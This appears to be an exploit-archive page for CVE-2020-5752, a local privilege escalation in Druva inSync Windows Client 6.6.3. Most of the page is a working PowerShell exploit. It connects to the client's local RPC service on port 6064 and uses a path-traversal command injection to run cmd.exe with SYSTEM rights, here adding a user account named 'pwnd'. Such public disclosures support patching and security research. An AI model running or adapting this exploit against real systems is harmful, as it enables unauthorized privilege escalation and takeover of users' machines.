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Druva inSync Windows Client 6.6.3 Privilege Escalation

Druva inSync Windows Client 6.6.3 Privilege Escalation
Posted Dec 8, 2020
Authored by Matteo Malvica

Druva inSync Windows Client version 6.6.3 suffers from a local privilege escalation vulnerability.

tags | exploit, local
systems | windows
advisories | CVE-2020-5752
SHA-256 | bea8421c672e643ef68b0807bd851677d620618aa81d41bcb9baf9ae9e521007

Druva inSync Windows Client 6.6.3 Privilege Escalation

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# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell)
# Date: 2020-12-03
# Exploit Author: 1F98D
# Original Author: Matteo Malvica
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 (x64)
# CVE: CVE-2020-5752
# References: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/
# Druva inSync exposes an RPC service which is vulnerable to a command injection attack.

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
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